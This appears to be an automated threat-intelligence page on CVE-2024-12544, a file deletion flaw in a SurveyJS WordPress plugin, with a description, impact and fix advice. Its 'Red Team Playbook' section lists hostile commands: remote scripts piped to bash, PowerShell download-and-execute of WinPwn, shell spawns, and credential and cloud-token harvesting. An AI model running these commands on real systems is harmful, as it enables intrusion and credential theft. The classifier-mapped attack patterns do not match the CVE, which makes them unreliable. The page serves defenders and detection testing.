CVE-2024-12544
Overview
This vulnerability is an arbitrary file deletion flaw caused by a missing capability check in the callback function of the SurveyJS_DeleteFile class within the SurveyJS: Drag & Drop WordPress Form Builder plugin. The affected component is the file deletion handler in all plugin versions up to and including 1.12.17. The root cause is the absence of proper authorization verification before executing file deletion operations triggered via AJAX requests.
Vulnerability Description
The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to arbitrary file deletion due to a missing capability check on the callback function of the SurveyJS_DeleteFile class in all versions up to, and including, 1.12.17. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This function is still vulnerable to Cross-Site Request Forgery as of 1.12.20.
Impact
An attacker with at least Subscriber-level authentication can delete arbitrary files on the server by exploiting the lack of capability checks, potentially disrupting site functionality or enabling remote code execution by removing critical files like wp-config.php. The vulnerability requires authenticated access (PR:L) but no user interaction (UI:N) and is exploitable remotely (AV:N). This can lead to data loss, site compromise, and service disruption, significantly impacting business operations reliant on the WordPress installation.
Solution
Upgrade the SurveyJS: Drag & Drop WordPress Form Builder plugin to version 1.12.18 or later, where the missing capability check in the SurveyJS_DeleteFile callback has been implemented. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/e9404fe4-855e-4eb4-81c4-5246f6e9be0c) and the plugin's official changelog for patch details. Additionally, ensure that CSRF protections are enabled and verified in AJAX handlers as per the updates in version 1.12.20 and beyond.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the SurveyJS Drag & Drop WordPress Form Builder plugin stems from a critical oversight in the implementation of capability checks within the callback function of the SurveyJS_DeleteFile class. This flaw allows authenticated users, including those with minimal Subscriber-level access, to execute arbitrary file deletions on the server. The absence of proper authorization mechanisms means that an attacker can exploit this vulnerability to remove essential files, such as configuration files or critical application components. Such actions can lead to severe consequences, including the potential for remote code execution if the attacker targets sensitive files that facilitate further exploitation of the server environment.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage social engineering techniques to gain access to a legitimate user account or exploit weak password policies to compromise an account with sufficient privileges. Once inside, the attacker can invoke the vulnerable callback function to delete files of their choosing. For instance, targeting the wp-config.php file could lead to a complete compromise of the WordPress installation, allowing the attacker to gain administrative access or execute arbitrary code on the server. Additionally, the vulnerability is also susceptible to Cross-Site Request Forgery (CSRF), which can further facilitate unauthorized actions without the victim's knowledge, thereby amplifying the risk of exploitation.
The real-world impact of this vulnerability is significant, particularly for organizations relying on the SurveyJS plugin for their WordPress sites. The ability to delete arbitrary files can lead to data loss, service disruption, and a compromised website, which can damage an organization's reputation and erode customer trust. Furthermore, if an attacker successfully executes remote code after deleting critical files, they could deploy malware, steal sensitive information, or use the compromised server as a launching pad for further attacks on other connected systems. The business risk is compounded by the potential for regulatory repercussions if sensitive customer data is exposed or lost, leading to financial penalties and legal liabilities.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments should be conducted to identify outdated plugins or configurations that may expose the system to risks. Employing a web application firewall (WAF) can help filter out malicious requests that attempt to exploit this vulnerability. Additionally, ensuring that all users have the least privilege necessary to perform their roles can minimize the risk of exploitation by limiting access to sensitive functions. Organizations should also keep the SurveyJS plugin and all other components of their WordPress installation up to date, as newer versions may include patches that address known vulnerabilities. Finally, implementing CSRF tokens in forms and actions can help mitigate the risk of unauthorized requests, further protecting the integrity of the application.
In conclusion, the vulnerability in the SurveyJS Drag & Drop WordPress Form Builder plugin presents a serious threat to the security of WordPress installations. The potential for arbitrary file deletion and subsequent remote code execution poses significant risks that can lead to data breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive steps to secure their systems and mitigate the risks associated with this vulnerability.
Recent updates to the CVE-2024-12544 vulnerability reveal a significant revision in its severity rating, with the CVSS score now elevated from 0.0 to 8.8. This adjustment reflects a deeper understanding of the exploitability and impact potential of the arbitrary file deletion flaw in the SurveyJS Drag & Drop WordPress Form Builder plugin. CSURFACE threat intelligence notes a marked increase in the EPSS score, indicating growing likelihood of exploitation attempts, supported by a rapid upward trend in related telemetry. Although no new exploit code or active campaigns have been detected by our sensors, the heightened risk score underscores the urgency for defenders to reassess their exposure and prioritize monitoring for suspicious activity linked to this vulnerability. The escalation in risk level signals that attackers may increasingly target environments where this plugin is deployed, given the low privilege required for exploitation and the potential for remote code execution. Consequently, the threat landscape surrounding this vulnerability is evolving from theoretical to more imminent, warranting enhanced vigilance despite the current absence of confirmed exploit incidents.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12544 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/e9404fe4-855e-4eb4-81c4-5246f6e9be0c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3222216/surveyjs/trunk/ajax_handlers/delete_file.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3214665/ |